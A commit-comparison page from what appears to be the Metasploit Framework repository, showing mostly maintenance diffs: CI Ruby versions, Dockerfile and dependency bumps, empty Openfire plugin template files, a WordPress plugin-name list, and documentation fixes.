Compare commits
350 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 3dc229f5a1 | |||
| cdbd591f07 | |||
| 0a26ac2e5b | |||
| 214c788ce7 | |||
| c821d39bdb | |||
| c4ed903da9 | |||
| 3be876b9dc | |||
| 03c99660db | |||
| e8ce0454cd | |||
| dca125963c | |||
| f30c996340 | |||
| 9516592eb6 | |||
| 940496362c | |||
| 6e8d0b33df | |||
| a5cdbcaf20 | |||
| 814198dc66 | |||
| baa0f3d5e3 | |||
| 72092392e9 | |||
| 760bc3fbfb | |||
| c3324ab002 | |||
| 9e7960fd9f | |||
| 45c9ce86f4 | |||
| 897d5d1753 | |||
| a3d129fe9f | |||
| 61a4974670 | |||
| dfe030cc99 | |||
| 6f7ebb3824 | |||
| a543199ee3 | |||
| b1d6983fad | |||
| 4ebf4fd52e | |||
| a8583438c1 | |||
| 6c6a553284 | |||
| 5a3a08ca2a | |||
| 756d746abe | |||
| ab2b1b731d | |||
| 776b4918a7 | |||
| e3d4a8ccd9 | |||
| bd36c80a2a | |||
| 4a7836055e | |||
| 00006fffae | |||
| 67e1c57b7c | |||
| 61f70e09f6 | |||
| 7fee5a0761 | |||
| 9a3d068c17 | |||
| d8dc189168 | |||
| 39382c4652 | |||
| 5756241fb3 | |||
| 034fcdde59 | |||
| 74e886dd68 | |||
| 3ea9c0100b | |||
| 4360821d38 | |||
| 31da1f890d | |||
| 49c5b1df64 | |||
| b44c08e5f1 | |||
| 265cec01ae | |||
| 1c075f659c | |||
| a643fa517a | |||
| 930c90c3ac | |||
| 1943892aef | |||
| b365ab7d10 | |||
| 9a40e2612b | |||
| 5d0b6e1fbc | |||
| 67770d5684 | |||
| 19dcc2d674 | |||
| 888091dfe4 | |||
| dd7b50d292 | |||
| 89cd524acb | |||
| f0c853073e | |||
| 5c67f3231b | |||
| f95a39254a | |||
| 396029a58e | |||
| cd70044e36 | |||
| 18b6b3ef0b | |||
| 1a3b579cd9 | |||
| 2dd9524b2b | |||
| f8c736589f | |||
| dc1ca7aeff | |||
| dd2ccb3750 | |||
| 7290a61853 | |||
| 03f6bf1c84 | |||
| 69ae14ec62 | |||
| eaa4768547 | |||
| 2352ce6740 | |||
| 692c625752 | |||
| eb5be5746c | |||
| cd8cd0a52b | |||
| 5f9d131cdd | |||
| b875b455f7 | |||
| f07578b4b4 | |||
| 11fb61c3b6 | |||
| c028d33cae | |||
| f787bcd04f | |||
| 8b8acadc9c | |||
| de6508c3e3 | |||
| b979217227 | |||
| b2869a5550 | |||
| 5d9a65eeb0 | |||
| 89378d54c8 | |||
| 9932aaaaaa | |||
| 6c367f39c8 | |||
| 7df5ae0a62 | |||
| a7402fb5f1 | |||
| 56661f49ee | |||
| 154387f99a | |||
| a3f52672da | |||
| 9019b51eaa | |||
| aeb8cd3971 | |||
| 207d00b73c | |||
| 06db7dae40 | |||
| c4d089b884 | |||
| 0996938113 | |||
| c509b7b341 | |||
| bcda3e8228 | |||
| ad1add1dc3 | |||
| 0c1d945861 | |||
| 40ef9d496a | |||
| 225a33995a | |||
| 6b11439fa1 | |||
| 5d00f882ad | |||
| f79b4331b8 | |||
| f3e1fccd0c | |||
| 1390d50ca4 | |||
| b65115e97f | |||
| 055206a11b | |||
| 449af8daa7 | |||
| f3adc3f79f | |||
| 0453877fee | |||
| 103f9a3f60 | |||
| ca9601bb58 | |||
| 5b5f666256 | |||
| 006831938d | |||
| f5e91f686c | |||
| d50fceca40 | |||
| 1b52c7c8ba | |||
| bc58254db8 | |||
| 00f2fe03be | |||
| fa3638b10e | |||
| d6328edc27 | |||
| 5018c0cdc5 | |||
| 47f48e8adb | |||
| 53b8653ac7 | |||
| d9817e825e | |||
| b7b11373f5 | |||
| 7ad7c40e40 | |||
| 01b9d41ed1 | |||
| 867282ba96 | |||
| 671a90ee58 | |||
| 29e8c36214 | |||
| c7f8ce5acd | |||
| 78c1f75f2a | |||
| e9f53bd195 | |||
| 730d774e7e | |||
| a244c6ff37 | |||
| 52b417b1af | |||
| 43056ad621 | |||
| c1d84e950c | |||
| 45eacec846 | |||
| a3daab88e6 | |||
| cda6ab5960 | |||
| fa97281267 | |||
| e2a0405975 | |||
| 3ce382dcc2 | |||
| a709c4c010 | |||
| 49f2d1c3a9 | |||
| 568849fad3 | |||
| 4e16307165 | |||
| 586971c1fd | |||
| c26d44a177 | |||
| 69cebde238 | |||
| f287f50be7 | |||
| 1af22cfd22 | |||
| 08a2a293a9 | |||
| ee26e7f926 | |||
| 421b06119f | |||
| c48346413c | |||
| b4ec01de83 | |||
| 2ae6688815 | |||
| d03157fcc1 | |||
| 0df2f57124 | |||
| d5ca174e1e | |||
| 530934f78a | |||
| 8e0a909b18 | |||
| b4991a97d0 | |||
| 01434662fa | |||
| a6e4d60457 | |||
| 297c484a1c | |||
| 1e2a5a5c11 | |||
| a0f04a7018 | |||
| d9e23a5c67 | |||
| 7f35abff86 | |||
| ddb1cc0497 | |||
| 0ff2ca4f40 | |||
| 2efcbbb772 | |||
| 1f2112c5c1 | |||
| f46641f479 | |||
| 2e26e7c98c | |||
| 04438920d5 | |||
| f608424242 | |||
| dfcb52d189 | |||
| d7b0e94729 | |||
| 11d3248532 | |||
| b15d595de2 | |||
| f0f2314da9 | |||
| 1e75365f8e | |||
| 7bebee0f42 | |||
| 3f0d0ee34c | |||
| fb8947aa49 | |||
| 4dc6e59fa3 | |||
| 7950db3358 | |||
| 5b638bb37b | |||
| 10c1b79c37 | |||
| 34f25fbb65 | |||
| 6b06b77b5a | |||
| 3236aaf6c3 | |||
| 27638d7409 | |||
| 5cb5c18550 | |||
| 917adffb83 | |||
| bd004e0831 | |||
| 3635ce9c03 | |||
| 420147d02e | |||
| 5261d842bc | |||
| c3a0b0b1cb | |||
| 025b37ce62 | |||
| d6911f6b13 | |||
| 2aea7b2fda | |||
| 0a9af48662 | |||
| c34779a5f1 | |||
| e61342afac | |||
| a3ea55f2a6 | |||
| 8edbf73b6f | |||
| b04ff3c579 | |||
| 5974801e14 | |||
| 1706812099 | |||
| a0bdbce3c9 | |||
| 00095fa495 | |||
| 56cba64e4a | |||
| d16f38a59c | |||
| 914818d372 | |||
| bfcd5d0466 | |||
| f959dee046 | |||
| 24ef4e1b90 | |||
| 81cf6c2a09 | |||
| 591fee1850 | |||
| c3aefe577b | |||
| ad0d3e79a9 | |||
| 88a539a82c | |||
| e3bdb7a917 | |||
| df4a03c79d | |||
| 3abcb3ebaa | |||
| ce19ce5b72 | |||
| 00aa2e63a0 | |||
| f1b5cd46f4 | |||
| 83dc8e9012 | |||
| d452f49f09 | |||
| ae48236d07 | |||
| da6cdd1d5b | |||
| 53a761a13d | |||
| f77e7db637 | |||
| 8d686e5a28 | |||
| 375a315b3d | |||
| d97c0fc8f7 | |||
| d968d92e53 | |||
| badb710940 | |||
| fa0e53775f | |||
| dfbd14ea5b | |||
| 859ff288fc | |||
| 085943bd78 | |||
| cc1b7db773 | |||
| 35f5b19512 | |||
| 1426a5c12e | |||
| 1dff3e5e26 | |||
| 028660384a | |||
| 50c675cc90 | |||
| 0c8dff1ab0 | |||
| 0aa0bbadd6 | |||
| 740fe5f6c9 | |||
| a967815397 | |||
| 795fae2b81 | |||
| 6772740f86 | |||
| afe359281c | |||
| ce2629d4e1 | |||
| 3e4b62a240 | |||
| f86f9c0440 | |||
| 36e0d8f915 | |||
| 3e999a1dc5 | |||
| 67f7a33d77 | |||
| 767b22f7ef | |||
| df0f7de098 | |||
| 0d0906840e | |||
| fb6ecdd2ab | |||
| 7da9ea07aa | |||
| fd89ac6893 | |||
| 1e7af0457a | |||
| cac515b8db | |||
| 46629ca1d2 | |||
| def6d644cc | |||
| df5b26ea3a | |||
| 65a4dd3c39 | |||
| 624643be4a | |||
| 60523c0f9b | |||
| 0f593d881c | |||
| bf1e6bddd1 | |||
| da34476a91 | |||
| f48dadff62 | |||
| 7aa1dafc1f | |||
| f641d64f2f | |||
| d68eb84334 | |||
| 9176d0d3e0 | |||
| b026b38851 | |||
| 977f8732c6 | |||
| a7ce4c7fa8 | |||
| 0f65368866 | |||
| 77bb6759a6 | |||
| e2fc3c5eff | |||
| a8332e6064 | |||
| 461240639c | |||
| 64b441be2a | |||
| 6e438d338e | |||
| 1c5b88c59f | |||
| 7e3e30f9d0 | |||
| 22101f15cc | |||
| b8068bc781 | |||
| 0415565396 | |||
| 44762f18e8 | |||
| e70bdb028a | |||
| 658c87996d | |||
| 8a5442f7f0 | |||
| 8c4c260911 | |||
| 5f8767f4cf | |||
| e49e70ce93 | |||
| 67225650de | |||
| 4f661ff230 | |||
| 0ca978fe9d | |||
| 44ffafcf62 | |||
| 2d800be5b1 | |||
| 8527eea15d | |||
| 16ef8c4eaa | |||
| 9e8a8d7c25 | |||
| 0555b4ada0 | |||
| 39c9355715 | |||
| fd5e4dfc39 | |||
| ead8a99d79 | |||
| c33fe50bbb | |||
| b1477a8616 | |||
| afdcf76ef6 | |||
| a04b54486f | |||
| 00eed69b92 | |||
| 2059505ccd | |||
| 152f9460f9 | |||
| 0f5f495108 |
@@ -38,7 +38,7 @@ jobs:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '2.7'
|
||||
- '3.0'
|
||||
|
||||
name: Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
|
||||
@@ -35,7 +35,7 @@ jobs:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '2.7'
|
||||
- '3.0'
|
||||
|
||||
name: Lint msftidy
|
||||
steps:
|
||||
|
||||
@@ -64,15 +64,14 @@ jobs:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '2.7'
|
||||
- '3.0'
|
||||
- '3.1'
|
||||
- '3.2'
|
||||
- '3.3.0-preview1'
|
||||
os:
|
||||
- ubuntu-20.04
|
||||
- ubuntu-latest
|
||||
exclude:
|
||||
- { os: ubuntu-latest, ruby: '2.7' }
|
||||
- { os: ubuntu-latest, ruby: '3.0' }
|
||||
include:
|
||||
- os: ubuntu-latest
|
||||
@@ -99,6 +98,8 @@ jobs:
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
|
||||
@@ -40,7 +40,7 @@ jobs:
|
||||
const hasPR = await github.rest.pulls.list({
|
||||
owner,
|
||||
repo,
|
||||
head: owner + ':' + '${{ github.ref_name }}'
|
||||
head: owner + ':' + '${{ github.ref_name }}'
|
||||
});
|
||||
console.log('hasPR:');
|
||||
console.log(JSON.stringify({ data: hasPR.data, status: hasPR.status }, null, 4));
|
||||
|
||||
@@ -22,6 +22,7 @@ require:
|
||||
- ./lib/rubocop/cop/lint/module_disclosure_date_present.rb
|
||||
- ./lib/rubocop/cop/lint/deprecated_gem_version.rb
|
||||
- ./lib/rubocop/cop/lint/module_enforce_notes.rb
|
||||
- ./lib/rubocop/cop/lint/detect_invalid_pack_directives.rb
|
||||
|
||||
Layout/SpaceBeforeBrackets:
|
||||
Description: >-
|
||||
@@ -166,6 +167,9 @@ Layout/ModuleHashValuesOnSameLine:
|
||||
Layout/ModuleDescriptionIndentation:
|
||||
Enabled: true
|
||||
|
||||
Lint/DetectInvalidPackDirectives:
|
||||
Enabled: true
|
||||
|
||||
Lint/ModuleDisclosureDateFormat:
|
||||
Enabled: true
|
||||
|
||||
|
||||
+3
-3
@@ -61,8 +61,8 @@ ENV METASPLOIT_GROUP=metasploit
|
||||
RUN addgroup -S $METASPLOIT_GROUP
|
||||
|
||||
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs \
|
||||
postgresql-libs python2 python3 py3-pip ncurses libcap su-exec alpine-sdk \
|
||||
python2-dev openssl-dev nasm mingw-w64-gcc
|
||||
postgresql-libs python3 py3-pip ncurses libcap su-exec alpine-sdk \
|
||||
openssl-dev nasm mingw-w64-gcc
|
||||
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
|
||||
@@ -75,7 +75,7 @@ RUN chown -R root:metasploit $APP_HOME/
|
||||
RUN chmod 664 $APP_HOME/Gemfile.lock
|
||||
RUN gem update --system
|
||||
RUN cp -f $APP_HOME/docker/database.yml $APP_HOME/config/database.yml
|
||||
RUN curl -L -O https://github.com/pypa/get-pip/raw/3843bff3a0a61da5b63ea0b7d34794c5c51a2f11/get-pip.py && python get-pip.py && rm get-pip.py
|
||||
RUN curl -L -O https://raw.githubusercontent.com/pypa/get-pip/f84b65709d4b20221b7dbee900dbf9985a81b5d4/public/get-pip.py && python3 get-pip.py && rm get-pip.py
|
||||
RUN pip install impacket
|
||||
RUN pip install requests
|
||||
|
||||
|
||||
+11
-7
@@ -1,11 +1,12 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.3.22)
|
||||
metasploit-framework (6.3.29)
|
||||
actionpack (~> 7.0)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
aws-sdk-ec2
|
||||
aws-sdk-ec2instanceconnect
|
||||
aws-sdk-iam
|
||||
aws-sdk-s3
|
||||
aws-sdk-ssm
|
||||
@@ -32,9 +33,9 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 2.0.143)
|
||||
metasploit-payloads (= 2.0.148)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 1.0.20)
|
||||
metasploit_payloads-mettle (= 1.0.26)
|
||||
mqtt
|
||||
msgpack (~> 1.6.0)
|
||||
nessus_rest
|
||||
@@ -139,6 +140,9 @@ GEM
|
||||
aws-sdk-ec2 (1.382.0)
|
||||
aws-sdk-core (~> 3, >= 3.174.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-ec2instanceconnect (1.27.0)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-iam (1.79.0)
|
||||
aws-sdk-core (~> 3, >= 3.174.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
@@ -258,7 +262,7 @@ GEM
|
||||
activemodel (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
metasploit-payloads (2.0.143)
|
||||
metasploit-payloads (2.0.148)
|
||||
metasploit_data_models (6.0.2)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
@@ -269,7 +273,7 @@ GEM
|
||||
railties (~> 7.0)
|
||||
recog
|
||||
webrick
|
||||
metasploit_payloads-mettle (1.0.20)
|
||||
metasploit_payloads-mettle (1.0.26)
|
||||
method_source (1.0.0)
|
||||
mini_portile2 (2.8.2)
|
||||
minitest (5.18.0)
|
||||
@@ -298,8 +302,8 @@ GEM
|
||||
openssl-ccm (1.2.3)
|
||||
openssl-cmac (2.0.2)
|
||||
openvas-omp (0.0.4)
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
packetfu (2.0.0)
|
||||
pcaprub (~> 0.13.1)
|
||||
parallel (1.23.0)
|
||||
parser (3.2.2.3)
|
||||
ast (~> 2.4.1)
|
||||
|
||||
+6
-5
@@ -13,6 +13,7 @@ aws-eventstream, 1.2.0, "Apache 2.0"
|
||||
aws-partitions, 1.776.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.174.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.382.0, "Apache 2.0"
|
||||
aws-sdk-ec2instanceconnect, 1.27.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.79.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.66.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.123.1, "Apache 2.0"
|
||||
@@ -73,11 +74,11 @@ memory_profiler, 1.0.1, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 5.0.1, "New BSD"
|
||||
metasploit-credential, 6.0.5, "New BSD"
|
||||
metasploit-framework, 6.3.22, "New BSD"
|
||||
metasploit-framework, 6.3.29, "New BSD"
|
||||
metasploit-model, 5.0.1, "New BSD"
|
||||
metasploit-payloads, 2.0.143, "3-clause (or ""modified"") BSD"
|
||||
metasploit-payloads, 2.0.148, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.2, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.20, "3-clause (or ""modified"") BSD"
|
||||
metasploit_payloads-mettle, 1.0.26, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
mini_portile2, 2.8.2, MIT
|
||||
minitest, 5.18.0, MIT
|
||||
@@ -99,7 +100,7 @@ octokit, 4.25.1, MIT
|
||||
openssl-ccm, 1.2.3, MIT
|
||||
openssl-cmac, 2.0.2, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
packetfu, 1.1.13, BSD
|
||||
packetfu, 2.0.0, "New BSD"
|
||||
parallel, 1.23.0, MIT
|
||||
parser, 3.2.2.3, MIT
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
@@ -134,7 +135,7 @@ rex-java, 0.1.6, "New BSD"
|
||||
rex-mime, 0.1.7, "New BSD"
|
||||
rex-nop, 0.1.2, "New BSD"
|
||||
rex-ole, 0.1.7, "New BSD"
|
||||
rex-powershell, 0.1.98, "New BSD"
|
||||
rex-powershell, 0.1.97, "New BSD"
|
||||
rex-random_identifier, 0.1.10, "New BSD"
|
||||
rex-registry, 0.1.4, "New BSD"
|
||||
rex-rop_builder, 0.1.4, "New BSD"
|
||||
|
||||
+2
-2
@@ -91,8 +91,8 @@ begin
|
||||
}
|
||||
invalidate_bootsnap_cache!(bootsnap_config)
|
||||
Bootsnap.setup(**bootsnap_config)
|
||||
rescue
|
||||
$stderr.puts 'Warning: Failed bootsnap cache setup'
|
||||
rescue => e
|
||||
$stderr.puts "Warning: Failed bootsnap cache setup - #{e.class} #{e} #{e.backtrace}"
|
||||
begin
|
||||
FileUtils.rm_rf(cache_dir, secure: true)
|
||||
rescue
|
||||
|
||||
Executable
+69
@@ -0,0 +1,69 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Example plugin changelog</title>
|
||||
<style type="text/css">
|
||||
BODY {
|
||||
font-size : 100%;
|
||||
}
|
||||
BODY, TD, TH {
|
||||
font-family : tahoma, verdana, arial, helvetica, sans-serif;
|
||||
font-size : 0.8em;
|
||||
}
|
||||
H2 {
|
||||
font-size : 10pt;
|
||||
font-weight : bold;
|
||||
}
|
||||
A:hover {
|
||||
text-decoration : none;
|
||||
}
|
||||
H1 {
|
||||
font-family : tahoma, arial, helvetica, sans-serif;
|
||||
font-size : 1.4em;
|
||||
font-weight: bold;
|
||||
border-bottom : 1px #ccc solid;
|
||||
padding-bottom : 2px;
|
||||
}
|
||||
|
||||
TT {
|
||||
font-family : courier new;
|
||||
font-weight : bold;
|
||||
color : #060;
|
||||
}
|
||||
PRE {
|
||||
font-family : courier new;
|
||||
font-size : 100%;
|
||||
}
|
||||
.events TH {
|
||||
font-size: 8pt;
|
||||
font-family: verdana;
|
||||
font-weight: bold;
|
||||
text-align: left;
|
||||
background-color: #eee;
|
||||
border-bottom: 1px #ccc solid;
|
||||
}
|
||||
|
||||
.events .event {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.events TD {
|
||||
border-bottom: 1px #ccc dotted;
|
||||
vertical-align: top;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<h1>
|
||||
Example plugin
|
||||
</h1>
|
||||
|
||||
<h2>Todo</h2>
|
||||
|
||||
<p>
|
||||
Add changelog content here
|
||||
</p>
|
||||
</body>
|
||||
</html>
|
||||
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
|
After Width: | Height: | Size: 1.5 KiB |
Executable
BIN
Binary file not shown.
|
After Width: | Height: | Size: 1021 B |
Executable
+10
@@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<plugin>
|
||||
<class>com.example.openfire.plugin.Example</class>
|
||||
<name>PLUGINNAME</name>
|
||||
<description>PLUGINDESCRIPTION</description>
|
||||
<author>PLUGINAUTHOR</author>
|
||||
<version>1.0.0</version>
|
||||
<date>7/7/2008</date>
|
||||
<minServerVersion>3.5.0</minServerVersion>
|
||||
</plugin>
|
||||
Executable
+69
@@ -0,0 +1,69 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Example plugin readme</title>
|
||||
<style type="text/css">
|
||||
BODY {
|
||||
font-size : 100%;
|
||||
}
|
||||
BODY, TD, TH {
|
||||
font-family : tahoma, verdana, arial, helvetica, sans-serif;
|
||||
font-size : 0.8em;
|
||||
}
|
||||
H2 {
|
||||
font-size : 10pt;
|
||||
font-weight : bold;
|
||||
}
|
||||
A:hover {
|
||||
text-decoration : none;
|
||||
}
|
||||
H1 {
|
||||
font-family : tahoma, arial, helvetica, sans-serif;
|
||||
font-size : 1.4em;
|
||||
font-weight: bold;
|
||||
border-bottom : 1px #ccc solid;
|
||||
padding-bottom : 2px;
|
||||
}
|
||||
|
||||
TT {
|
||||
font-family : courier new;
|
||||
font-weight : bold;
|
||||
color : #060;
|
||||
}
|
||||
PRE {
|
||||
font-family : courier new;
|
||||
font-size : 100%;
|
||||
}
|
||||
.events TH {
|
||||
font-size: 8pt;
|
||||
font-family: verdana;
|
||||
font-weight: bold;
|
||||
text-align: left;
|
||||
background-color: #eee;
|
||||
border-bottom: 1px #ccc solid;
|
||||
}
|
||||
|
||||
.events .event {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.events TD {
|
||||
border-bottom: 1px #ccc dotted;
|
||||
vertical-align: top;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<h1>
|
||||
Example plugin
|
||||
</h1>
|
||||
|
||||
<h2>Todo</h2>
|
||||
|
||||
<p>
|
||||
Add readme content here
|
||||
</p>
|
||||
</body>
|
||||
</html>
|
||||
Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Executable
BIN
Binary file not shown.
@@ -57,3 +57,5 @@ woocommerce-abandoned-cart
|
||||
elementor
|
||||
bookingpress
|
||||
paid-memberships-pro
|
||||
woocommerce-payments
|
||||
file-manager-advanced-shortcode
|
||||
|
||||
+8713
-1615
File diff suppressed because it is too large
Load Diff
@@ -106,7 +106,7 @@ Enter passphrase: [...]
|
||||
|
||||
2. Modify your `.git/config` file to enable signing commits and merges by default:
|
||||
|
||||
````
|
||||
```ini
|
||||
[user]
|
||||
name = Your Name
|
||||
email = your_email@example.com
|
||||
@@ -114,7 +114,7 @@ Enter passphrase: [...]
|
||||
[alias]
|
||||
c = commit -S --edit
|
||||
m = merge -S --no-ff --edit
|
||||
````
|
||||
```
|
||||
|
||||
Using `git c` and `git m` from now on will sign every commit with your `DEADBEEF` key. However, note that rebasing or cherry-picking commits will change the commit hash, and therefore, unsign the commit -- to resign the most recent, use `git c --amend`.
|
||||
|
||||
|
||||
@@ -58,7 +58,7 @@ You probably shouldn't run proof of concept exploit code you find on the Interne
|
||||
|
||||
Also, please take a peek at our guides on using git and our acceptance guidelines for new modules in case you're not familiar with them.
|
||||
|
||||
If you get stuck, try to explain your specific problem as best you can on our [Freenode IRC](https://freenode.net/) channel, #metasploit (joining requires a [registered nick](https://freenode.net/kb/answer/registration)). Someone should be able to lend a hand. Apparently, some of those people never sleep.
|
||||
If you get stuck, try to explain your specific problem as best you can on our [Freenode IRC](https://freenode.net/) channel, #metasploit (joining requires a [registered nick](https://freenode.net/view/Nick_Registration)). Someone should be able to lend a hand. Apparently, some of those people never sleep.
|
||||
|
||||
# Thank you
|
||||
|
||||
|
||||
@@ -147,7 +147,7 @@ This method is just a stub on the Base mixin. It will be overridden in each Logi
|
||||
|
||||
For an example let's look at the attempt_login method from `Metasploit::Framework::LoginScanner::FTP (lib/metasploit/framework/login_scanner/ftp.rb)`
|
||||
|
||||
```ruby
|
||||
```ruby
|
||||
# (see Base#attempt_login)
|
||||
def attempt_login(credential)
|
||||
result_options = {
|
||||
@@ -156,7 +156,7 @@ def attempt_login(credential)
|
||||
|
||||
begin
|
||||
success = connect_login(credential.public, credential.private)
|
||||
rescue ::EOFError, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error
|
||||
rescue ::EOFError, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionProxyError, Rex::ConnectionTimeout, Rex::TimeoutError, Errno::ECONNRESET, Errno::EINTR, ::Timeout::Error
|
||||
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
success = false
|
||||
end
|
||||
@@ -170,7 +170,7 @@ def attempt_login(credential)
|
||||
|
||||
::Metasploit::Framework::LoginScanner::Result.new(result_options)
|
||||
end
|
||||
```
|
||||
```
|
||||
|
||||
### scan!
|
||||
|
||||
|
||||
@@ -12,8 +12,10 @@ The pgp signatures below can be verified with the following [public key](https:/
|
||||
|
||||
|Download Link|File Type|SHA1|PGP|
|
||||
|-|-|-|-|
|
||||
| [metasploit-4.22.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.22.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.22.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.22.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.22.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.22.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.21.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.21.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.asc)|
|
||||
|
||||
@@ -35,7 +35,7 @@ But of course, to begin, you most likely need a template to work with, and here
|
||||
|
||||
```ruby
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
@@ -0,0 +1,155 @@
|
||||
Metasploit plugins can change the behavior of Metasploit framework by adding new features, new user interface commands, and more.
|
||||
They are designed to have a very loose definition in order to make them as useful as possible.
|
||||
|
||||
Plugins are not available by default, they need to be loaded:
|
||||
|
||||
```msf
|
||||
